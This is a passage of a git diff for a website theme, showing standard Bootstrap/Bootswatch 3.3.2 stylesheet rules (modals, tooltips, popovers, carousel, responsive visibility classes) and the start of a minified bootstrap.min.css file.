5743 -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
5744 box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
5745 -webkit-background-clip: padding-box;
5746 background-clip: padding-box;
5747 outline: 0;
5748}
5749.modal-backdrop {
5750 position: absolute;
5751 top: 0;
5752 right: 0;
5753 left: 0;
5754 background-color: #000000;
5755}
5756.modal-backdrop.fade {
5757 opacity: 0;
5758 filter: alpha(opacity=0);
5759}
5760.modal-backdrop.in {
5761 opacity: 0.5;
5762 filter: alpha(opacity=50);
5763}
5764.modal-header {
5765 padding: 15px;
5766 border-bottom: 1px solid #e5e5e5;
5767 min-height: 16.42857143px;
5768}
5769.modal-header .close {
5770 margin-top: -2px;
5771}
5772.modal-title {
5773 margin: 0;
5774 line-height: 1.42857143;
5775}
5776.modal-body {
5777 position: relative;
5778 padding: 20px;
5779}
5780.modal-footer {
5781 padding: 20px;
5782 text-align: right;
5783 border-top: 1px solid #e5e5e5;
5784}
5785.modal-footer .btn + .btn {
5786 margin-left: 5px;
5787 margin-bottom: 0;
5788}
5789.modal-footer .btn-group .btn + .btn {
5790 margin-left: -1px;
5791}
5792.modal-footer .btn-block + .btn-block {
5793 margin-left: 0;
5794}
5795.modal-scrollbar-measure {
5796 position: absolute;
5797 top: -9999px;
5798 width: 50px;
5799 height: 50px;
5800 overflow: scroll;
5801}
5802@media (min-width: 768px) {
5803 .modal-dialog {
5804 width: 600px;
5805 margin: 30px auto;
5806 }
5807 .modal-content {
5808 -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
5809 box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
5810 }
5811 .modal-sm {
5812 width: 300px;
5813 }
5814}
5815@media (min-width: 992px) {
5816 .modal-lg {
5817 width: 900px;
5818 }
5819}
5820.tooltip {
5821 position: absolute;
5822 z-index: 1070;
5823 display: block;
5824 visibility: visible;
5825 font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif;
5826 font-size: 13px;
5827 font-weight: normal;
5828 line-height: 1.4;
5829 opacity: 0;
5830 filter: alpha(opacity=0);
5831}
5832.tooltip.in {
5833 opacity: 0.9;
5834 filter: alpha(opacity=90);
5835}
5836.tooltip.top {
5837 margin-top: -3px;
5838 padding: 5px 0;
5839}
5840.tooltip.right {
5841 margin-left: 3px;
5842 padding: 0 5px;
5843}
5844.tooltip.bottom {
5845 margin-top: 3px;
5846 padding: 5px 0;
5847}
5848.tooltip.left {
5849 margin-left: -3px;
5850 padding: 0 5px;
5851}
5852.tooltip-inner {
5853 max-width: 200px;
5854 padding: 3px 8px;
5855 color: #ffffff;
5856 text-align: center;
5857 text-decoration: none;
5858 background-color: rgba(0, 0, 0, 0.9);
5859 border-radius: 0;
5860}
5861.tooltip-arrow {
5862 position: absolute;
5863 width: 0;
5864 height: 0;
5865 border-color: transparent;
5866 border-style: solid;
5867}
5868.tooltip.top .tooltip-arrow {
5869 bottom: 0;
5870 left: 50%;
5871 margin-left: -5px;
5872 border-width: 5px 5px 0;
5873 border-top-color: rgba(0, 0, 0, 0.9);
5874}
5875.tooltip.top-left .tooltip-arrow {
5876 bottom: 0;
5877 right: 5px;
5878 margin-bottom: -5px;
5879 border-width: 5px 5px 0;
5880 border-top-color: rgba(0, 0, 0, 0.9);
5881}
5882.tooltip.top-right .tooltip-arrow {
5883 bottom: 0;
5884 left: 5px;
5885 margin-bottom: -5px;
5886 border-width: 5px 5px 0;
5887 border-top-color: rgba(0, 0, 0, 0.9);
5888}
5889.tooltip.right .tooltip-arrow {
5890 top: 50%;
5891 left: 0;
5892 margin-top: -5px;
5893 border-width: 5px 5px 5px 0;
5894 border-right-color: rgba(0, 0, 0, 0.9);
5895}
5896.tooltip.left .tooltip-arrow {
5897 top: 50%;
5898 right: 0;
5899 margin-top: -5px;
5900 border-width: 5px 0 5px 5px;
5901 border-left-color: rgba(0, 0, 0, 0.9);
5902}
5903.tooltip.bottom .tooltip-arrow {
5904 top: 0;
5905 left: 50%;
5906 margin-left: -5px;
5907 border-width: 0 5px 5px;
5908 border-bottom-color: rgba(0, 0, 0, 0.9);
5909}
5910.tooltip.bottom-left .tooltip-arrow {
5911 top: 0;
5912 right: 5px;
5913 margin-top: -5px;
5914 border-width: 0 5px 5px;
5915 border-bottom-color: rgba(0, 0, 0, 0.9);
5916}
5917.tooltip.bottom-right .tooltip-arrow {
5918 top: 0;
5919 left: 5px;
5920 margin-top: -5px;
5921 border-width: 0 5px 5px;
5922 border-bottom-color: rgba(0, 0, 0, 0.9);
5923}
5924.popover {
5925 position: absolute;
5926 top: 0;
5927 left: 0;
5928 z-index: 1060;
5929 display: none;
5930 max-width: 276px;
5931 padding: 1px;
5932 font-family: "Source Sans Pro", Calibri, Candara, Arial, sans-serif;
5933 font-size: 15px;
5934 font-weight: normal;
5935 line-height: 1.42857143;
5936 text-align: left;
5937 background-color: #ffffff;
5938 -webkit-background-clip: padding-box;
5939 background-clip: padding-box;
5940 border: 1px solid #cccccc;
5941 border: 1px solid rgba(0, 0, 0, 0.2);
5942 border-radius: 0;
5943 -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
5944 box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
5945 white-space: normal;
5946}
5947.popover.top {
5948 margin-top: -10px;
5949}
5950.popover.right {
5951 margin-left: 10px;
5952}
5953.popover.bottom {
5954 margin-top: 10px;
5955}
5956.popover.left {
5957 margin-left: -10px;
5958}
5959.popover-title {
5960 margin: 0;
5961 padding: 8px 14px;
5962 font-size: 15px;
5963 background-color: #f7f7f7;
5964 border-bottom: 1px solid #ebebeb;
5965 border-radius: -1 -1 0 0;
5966}
5967.popover-content {
5968 padding: 9px 14px;
5969}
5970.popover > .arrow,
5971.popover > .arrow:after {
5972 position: absolute;
5973 display: block;
5974 width: 0;
5975 height: 0;
5976 border-color: transparent;
5977 border-style: solid;
5978}
5979.popover > .arrow {
5980 border-width: 11px;
5981}
5982.popover > .arrow:after {
5983 border-width: 10px;
5984 content: "";
5985}
5986.popover.top > .arrow {
5987 left: 50%;
5988 margin-left: -11px;
5989 border-bottom-width: 0;
5990 border-top-color: #999999;
5991 border-top-color: rgba(0, 0, 0, 0.25);
5992 bottom: -11px;
5993}
5994.popover.top > .arrow:after {
5995 content: " ";
5996 bottom: 1px;
5997 margin-left: -10px;
5998 border-bottom-width: 0;
5999 border-top-color: #ffffff;
6000}
6001.popover.right > .arrow {
6002 top: 50%;
6003 left: -11px;
6004 margin-top: -11px;
6005 border-left-width: 0;
6006 border-right-color: #999999;
6007 border-right-color: rgba(0, 0, 0, 0.25);
6008}
6009.popover.right > .arrow:after {
6010 content: " ";
6011 left: 1px;
6012 bottom: -10px;
6013 border-left-width: 0;
6014 border-right-color: #ffffff;
6015}
6016.popover.bottom > .arrow {
6017 left: 50%;
6018 margin-left: -11px;
6019 border-top-width: 0;
6020 border-bottom-color: #999999;
6021 border-bottom-color: rgba(0, 0, 0, 0.25);
6022 top: -11px;
6023}
6024.popover.bottom > .arrow:after {
6025 content: " ";
6026 top: 1px;
6027 margin-left: -10px;
6028 border-top-width: 0;
6029 border-bottom-color: #ffffff;
6030}
6031.popover.left > .arrow {
6032 top: 50%;
6033 right: -11px;
6034 margin-top: -11px;
6035 border-right-width: 0;
6036 border-left-color: #999999;
6037 border-left-color: rgba(0, 0, 0, 0.25);
6038}
6039.popover.left > .arrow:after {
6040 content: " ";
6041 right: 1px;
6042 border-right-width: 0;
6043 border-left-color: #ffffff;
6044 bottom: -10px;
6045}
6046.carousel {
6047 position: relative;
6048}
6049.carousel-inner {
6050 position: relative;
6051 overflow: hidden;
6052 width: 100%;
6053}
6054.carousel-inner > .item {
6055 display: none;
6056 position: relative;
6057 -webkit-transition: 0.6s ease-in-out left;
6058 -o-transition: 0.6s ease-in-out left;
6059 transition: 0.6s ease-in-out left;
6060}
6061.carousel-inner > .item > img,
6062.carousel-inner > .item > a > img {
6063 line-height: 1;
6064}
6065@media all and (transform-3d), (-webkit-transform-3d) {
6066 .carousel-inner > .item {
6067 -webkit-transition: -webkit-transform 0.6s ease-in-out;
6068 -o-transition: -o-transform 0.6s ease-in-out;
6069 transition: transform 0.6s ease-in-out;
6070 -webkit-backface-visibility: hidden;
6071 backface-visibility: hidden;
6072 -webkit-perspective: 1000;
6073 perspective: 1000;
6074 }
6075 .carousel-inner > .item.next,
6076 .carousel-inner > .item.active.right {
6077 -webkit-transform: translate3d(100%, 0, 0);
6078 transform: translate3d(100%, 0, 0);
6079 left: 0;
6080 }
6081 .carousel-inner > .item.prev,
6082 .carousel-inner > .item.active.left {
6083 -webkit-transform: translate3d(-100%, 0, 0);
6084 transform: translate3d(-100%, 0, 0);
6085 left: 0;
6086 }
6087 .carousel-inner > .item.next.left,
6088 .carousel-inner > .item.prev.right,
6089 .carousel-inner > .item.active {
6090 -webkit-transform: translate3d(0, 0, 0);
6091 transform: translate3d(0, 0, 0);
6092 left: 0;
6093 }
6094}
6095.carousel-inner > .active,
6096.carousel-inner > .next,
6097.carousel-inner > .prev {
6098 display: block;
6099}
6100.carousel-inner > .active {
6101 left: 0;
6102}
6103.carousel-inner > .next,
6104.carousel-inner > .prev {
6105 position: absolute;
6106 top: 0;
6107 width: 100%;
6108}
6109.carousel-inner > .next {
6110 left: 100%;
6111}
6112.carousel-inner > .prev {
6113 left: -100%;
6114}
6115.carousel-inner > .next.left,
6116.carousel-inner > .prev.right {
6117 left: 0;
6118}
6119.carousel-inner > .active.left {
6120 left: -100%;
6121}
6122.carousel-inner > .active.right {
6123 left: 100%;
6124}
6125.carousel-control {
6126 position: absolute;
6127 top: 0;
6128 left: 0;
6129 bottom: 0;
6130 width: 15%;
6131 opacity: 0.5;
6132 filter: alpha(opacity=50);
6133 font-size: 20px;
6134 color: #ffffff;
6135 text-align: center;
6136 text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
6137}
6138.carousel-control.left {
6139 background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);
6140 background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);
6141 background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0.0001)));
6142 background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);
6143 background-repeat: repeat-x;
6144 filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);
6145}
6146.carousel-control.right {
6147 left: auto;
6148 right: 0;
6149 background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);
6150 background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);
6151 background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.0001)), to(rgba(0, 0, 0, 0.5)));
6152 background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);
6153 background-repeat: repeat-x;
6154 filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);
6155}
6156.carousel-control:hover,
6157.carousel-control:focus {
6158 outline: 0;
6159 color: #ffffff;
6160 text-decoration: none;
6161 opacity: 0.9;
6162 filter: alpha(opacity=90);
6163}
6164.carousel-control .icon-prev,
6165.carousel-control .icon-next,
6166.carousel-control .glyphicon-chevron-left,
6167.carousel-control .glyphicon-chevron-right {
6168 position: absolute;
6169 top: 50%;
6170 z-index: 5;
6171 display: inline-block;
6172}
6173.carousel-control .icon-prev,
6174.carousel-control .glyphicon-chevron-left {
6175 left: 50%;
6176 margin-left: -10px;
6177}
6178.carousel-control .icon-next,
6179.carousel-control .glyphicon-chevron-right {
6180 right: 50%;
6181 margin-right: -10px;
6182}
6183.carousel-control .icon-prev,
6184.carousel-control .icon-next {
6185 width: 20px;
6186 height: 20px;
6187 margin-top: -10px;
6188 line-height: 1;
6189 font-family: serif;
6190}
6191.carousel-control .icon-prev:before {
6192 content: '\2039';
6193}
6194.carousel-control .icon-next:before {
6195 content: '\203a';
6196}
6197.carousel-indicators {
6198 position: absolute;
6199 bottom: 10px;
6200 left: 50%;
6201 z-index: 15;
6202 width: 60%;
6203 margin-left: -30%;
6204 padding-left: 0;
6205 list-style: none;
6206 text-align: center;
6207}
6208.carousel-indicators li {
6209 display: inline-block;
6210 width: 10px;
6211 height: 10px;
6212 margin: 1px;
6213 text-indent: -999px;
6214 border: 1px solid #ffffff;
6215 border-radius: 10px;
6216 cursor: pointer;
6217 background-color: #000 \9;
6218 background-color: rgba(0, 0, 0, 0);
6219}
6220.carousel-indicators .active {
6221 margin: 0;
6222 width: 12px;
6223 height: 12px;
6224 background-color: #ffffff;
6225}
6226.carousel-caption {
6227 position: absolute;
6228 left: 15%;
6229 right: 15%;
6230 bottom: 20px;
6231 z-index: 10;
6232 padding-top: 20px;
6233 padding-bottom: 20px;
6234 color: #ffffff;
6235 text-align: center;
6236 text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
6237}
6238.carousel-caption .btn {
6239 text-shadow: none;
6240}
6241@media screen and (min-width: 768px) {
6242 .carousel-control .glyphicon-chevron-left,
6243 .carousel-control .glyphicon-chevron-right,
6244 .carousel-control .icon-prev,
6245 .carousel-control .icon-next {
6246 width: 30px;
6247 height: 30px;
6248 margin-top: -15px;
6249 font-size: 30px;
6250 }
6251 .carousel-control .glyphicon-chevron-left,
6252 .carousel-control .icon-prev {
6253 margin-left: -15px;
6254 }
6255 .carousel-control .glyphicon-chevron-right,
6256 .carousel-control .icon-next {
6257 margin-right: -15px;
6258 }
6259 .carousel-caption {
6260 left: 20%;
6261 right: 20%;
6262 padding-bottom: 30px;
6263 }
6264 .carousel-indicators {
6265 bottom: 20px;
6266 }
6267}
6268.clearfix:before,
6269.clearfix:after,
6270.dl-horizontal dd:before,
6271.dl-horizontal dd:after,
6272.container:before,
6273.container:after,
6274.container-fluid:before,
6275.container-fluid:after,
6276.row:before,
6277.row:after,
6278.form-horizontal .form-group:before,
6279.form-horizontal .form-group:after,
6280.btn-toolbar:before,
6281.btn-toolbar:after,
6282.btn-group-vertical > .btn-group:before,
6283.btn-group-vertical > .btn-group:after,
6284.nav:before,
6285.nav:after,
6286.navbar:before,
6287.navbar:after,
6288.navbar-header:before,
6289.navbar-header:after,
6290.navbar-collapse:before,
6291.navbar-collapse:after,
6292.pager:before,
6293.pager:after,
6294.panel-body:before,
6295.panel-body:after,
6296.modal-footer:before,
6297.modal-footer:after {
6298 content: " ";
6299 display: table;
6300}
6301.clearfix:after,
6302.dl-horizontal dd:after,
6303.container:after,
6304.container-fluid:after,
6305.row:after,
6306.form-horizontal .form-group:after,
6307.btn-toolbar:after,
6308.btn-group-vertical > .btn-group:after,
6309.nav:after,
6310.navbar:after,
6311.navbar-header:after,
6312.navbar-collapse:after,
6313.pager:after,
6314.panel-body:after,
6315.modal-footer:after {
6316 clear: both;
6317}
6318.center-block {
6319 display: block;
6320 margin-left: auto;
6321 margin-right: auto;
6322}
6323.pull-right {
6324 float: right !important;
6325}
6326.pull-left {
6327 float: left !important;
6328}
6329.hide {
6330 display: none !important;
6331}
6332.show {
6333 display: block !important;
6334}
6335.invisible {
6336 visibility: hidden;
6337}
6338.text-hide {
6339 font: 0/0 a;
6340 color: transparent;
6341 text-shadow: none;
6342 background-color: transparent;
6343 border: 0;
6344}
6345.hidden {
6346 display: none !important;
6347 visibility: hidden !important;
6348}
6349.affix {
6350 position: fixed;
6351}
6352@-ms-viewport {
6353 width: device-width;
6354}
6355.visible-xs,
6356.visible-sm,
6357.visible-md,
6358.visible-lg {
6359 display: none !important;
6360}
6361.visible-xs-block,
6362.visible-xs-inline,
6363.visible-xs-inline-block,
6364.visible-sm-block,
6365.visible-sm-inline,
6366.visible-sm-inline-block,
6367.visible-md-block,
6368.visible-md-inline,
6369.visible-md-inline-block,
6370.visible-lg-block,
6371.visible-lg-inline,
6372.visible-lg-inline-block {
6373 display: none !important;
6374}
6375@media (max-width: 767px) {
6376 .visible-xs {
6377 display: block !important;
6378 }
6379 table.visible-xs {
6380 display: table;
6381 }
6382 tr.visible-xs {
6383 display: table-row !important;
6384 }
6385 th.visible-xs,
6386 td.visible-xs {
6387 display: table-cell !important;
6388 }
6389}
6390@media (max-width: 767px) {
6391 .visible-xs-block {
6392 display: block !important;
6393 }
6394}
6395@media (max-width: 767px) {
6396 .visible-xs-inline {
6397 display: inline !important;
6398 }
6399}
6400@media (max-width: 767px) {
6401 .visible-xs-inline-block {
6402 display: inline-block !important;
6403 }
6404}
6405@media (min-width: 768px) and (max-width: 991px) {
6406 .visible-sm {
6407 display: block !important;
6408 }
6409 table.visible-sm {
6410 display: table;
6411 }
6412 tr.visible-sm {
6413 display: table-row !important;
6414 }
6415 th.visible-sm,
6416 td.visible-sm {
6417 display: table-cell !important;
6418 }
6419}
6420@media (min-width: 768px) and (max-width: 991px) {
6421 .visible-sm-block {
6422 display: block !important;
6423 }
6424}
6425@media (min-width: 768px) and (max-width: 991px) {
6426 .visible-sm-inline {
6427 display: inline !important;
6428 }
6429}
6430@media (min-width: 768px) and (max-width: 991px) {
6431 .visible-sm-inline-block {
6432 display: inline-block !important;
6433 }
6434}
6435@media (min-width: 992px) and (max-width: 1199px) {
6436 .visible-md {
6437 display: block !important;
6438 }
6439 table.visible-md {
6440 display: table;
6441 }
6442 tr.visible-md {
6443 display: table-row !important;
6444 }
6445 th.visible-md,
6446 td.visible-md {
6447 display: table-cell !important;
6448 }
6449}
6450@media (min-width: 992px) and (max-width: 1199px) {
6451 .visible-md-block {
6452 display: block !important;
6453 }
6454}
6455@media (min-width: 992px) and (max-width: 1199px) {
6456 .visible-md-inline {
6457 display: inline !important;
6458 }
6459}
6460@media (min-width: 992px) and (max-width: 1199px) {
6461 .visible-md-inline-block {
6462 display: inline-block !important;
6463 }
6464}
6465@media (min-width: 1200px) {
6466 .visible-lg {
6467 display: block !important;
6468 }
6469 table.visible-lg {
6470 display: table;
6471 }
6472 tr.visible-lg {
6473 display: table-row !important;
6474 }
6475 th.visible-lg,
6476 td.visible-lg {
6477 display: table-cell !important;
6478 }
6479}
6480@media (min-width: 1200px) {
6481 .visible-lg-block {
6482 display: block !important;
6483 }
6484}
6485@media (min-width: 1200px) {
6486 .visible-lg-inline {
6487 display: inline !important;
6488 }
6489}
6490@media (min-width: 1200px) {
6491 .visible-lg-inline-block {
6492 display: inline-block !important;
6493 }
6494}
6495@media (max-width: 767px) {
6496 .hidden-xs {
6497 display: none !important;
6498 }
6499}
6500@media (min-width: 768px) and (max-width: 991px) {
6501 .hidden-sm {
6502 display: none !important;
6503 }
6504}
6505@media (min-width: 992px) and (max-width: 1199px) {
6506 .hidden-md {
6507 display: none !important;
6508 }
6509}
6510@media (min-width: 1200px) {
6511 .hidden-lg {
6512 display: none !important;
6513 }
6514}
6515.visible-print {
6516 display: none !important;
6517}
6518@media print {
6519 .visible-print {
6520 display: block !important;
6521 }
6522 table.visible-print {
6523 display: table;
6524 }
6525 tr.visible-print {
6526 display: table-row !important;
6527 }
6528 th.visible-print,
6529 td.visible-print {
6530 display: table-cell !important;
6531 }
6532}
6533.visible-print-block {
6534 display: none !important;
6535}
6536@media print {
6537 .visible-print-block {
6538 display: block !important;
6539 }
6540}
6541.visible-print-inline {
6542 display: none !important;
6543}
6544@media print {
6545 .visible-print-inline {
6546 display: inline !important;
6547 }
6548}
6549.visible-print-inline-block {
6550 display: none !important;
6551}
6552@media print {
6553 .visible-print-inline-block {
6554 display: inline-block !important;
6555 }
6556}
6557@media print {
6558 .hidden-print {
6559 display: none !important;
6560 }
6561}
6562.navbar-inverse .badge {
6563 background-color: #fff;
6564 color: #2780e3;
6565}
6566body {
6567 -webkit-font-smoothing: antialiased;
6568}
6569.text-primary,
6570.text-primary:hover {
6571 color: #2780e3;
6572}
6573.text-success,
6574.text-success:hover {
6575 color: #3fb618;
6576}
6577.text-danger,
6578.text-danger:hover {
6579 color: #ff0039;
6580}
6581.text-warning,
6582.text-warning:hover {
6583 color: #ff7518;
6584}
6585.text-info,
6586.text-info:hover {
6587 color: #9954bb;
6588}
6589table a:not(.btn),
6590.table a:not(.btn) {
6591 text-decoration: underline;
6592}
6593table .dropdown-menu a,
6594.table .dropdown-menu a {
6595 text-decoration: none;
6596}
6597table .success,
6598.table .success,
6599table .warning,
6600.table .warning,
6601table .danger,
6602.table .danger,
6603table .info,
6604.table .info {
6605 color: #fff;
6606}
6607table .success a,
6608.table .success a,
6609table .warning a,
6610.table .warning a,
6611table .danger a,
6612.table .danger a,
6613table .info a,
6614.table .info a {
6615 color: #fff;
6616}
6617.has-warning .help-block,
6618.has-warning .control-label,
6619.has-warning .form-control-feedback {
6620 color: #ff7518;
6621}
6622.has-warning .form-control,
6623.has-warning .form-control:focus,
6624.has-warning .input-group-addon {
6625 border: 1px solid #ff7518;
6626}
6627.has-error .help-block,
6628.has-error .control-label,
6629.has-error .form-control-feedback {
6630 color: #ff0039;
6631}
6632.has-error .form-control,
6633.has-error .form-control:focus,
6634.has-error .input-group-addon {
6635 border: 1px solid #ff0039;
6636}
6637.has-success .help-block,
6638.has-success .control-label,
6639.has-success .form-control-feedback {
6640 color: #3fb618;
6641}
6642.has-success .form-control,
6643.has-success .form-control:focus,
6644.has-success .input-group-addon {
6645 border: 1px solid #3fb618;
6646}
6647.nav-pills > li > a {
6648 border-radius: 0;
6649}
6650.dropdown-menu > li > a:hover,
6651.dropdown-menu > li > a:focus {
6652 background-image: none;
6653}
6654.close {
6655 text-decoration: none;
6656 text-shadow: none;
6657 opacity: 0.4;
6658}
6659.close:hover,
6660.close:focus {
6661 opacity: 1;
6662}
6663.alert {
6664 border: none;
6665}
6666.alert .alert-link {
6667 text-decoration: underline;
6668 color: #fff;
6669}
6670.label {
6671 border-radius: 0;
6672}
6673.progress {
6674 height: 8px;
6675 -webkit-box-shadow: none;
6676 box-shadow: none;
6677}
6678.progress .progress-bar {
6679 font-size: 8px;
6680 line-height: 8px;
6681}
6682.panel-heading,
6683.panel-footer {
6684 border-top-right-radius: 0;
6685 border-top-left-radius: 0;
6686}
6687.panel-default .close {
6688 color: #333333;
6689}
6690a.list-group-item-success.active {
6691 background-color: #3fb618;
6692}
6693a.list-group-item-success.active:hover,
6694a.list-group-item-success.active:focus {
6695 background-color: #379f15;
6696}
6697a.list-group-item-warning.active {
6698 background-color: #ff7518;
6699}
6700a.list-group-item-warning.active:hover,
6701a.list-group-item-warning.active:focus {
6702 background-color: #fe6600;
6703}
6704a.list-group-item-danger.active {
6705 background-color: #ff0039;
6706}
6707a.list-group-item-danger.active:hover,
6708a.list-group-item-danger.active:focus {
6709 background-color: #e60033;
6710}
6711.modal .close {
6712 color: #333333;
6713}
6714.popover {
6715 color: #333333;
6716}
diff --git a/themes/erdgeist/assets/css/bootstrap.min.css b/themes/erdgeist/assets/css/bootstrap.min.css
new file mode 100644
index 0000000..2d51760
--- /dev/null
+++ b/themes/erdgeist/assets/css/bootstrap.min.css
@@ -0,0 +1,6 @@
1 * bootswatch v3.3.2
2 * Homepage: http://bootswatch.com
3 * Copyright 2012-2015 Thomas Park
4 * Licensed under MIT
5 * Based on Bootstrap
6*//*! normalize.css v3.0.2 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,*:before,*:after{background:transparent !important;color:#000 !important;-webkit-box-shadow:none !important;box-shadow:none !important;text-shadow:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff !important}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important}.label{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}@font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphicons-halflings-regular.eot');src:url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'),url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'),url('../fonts/glyphicons-halflings-regular.woff') format('woff'),url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-euro:before,.glyphicon-eur:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon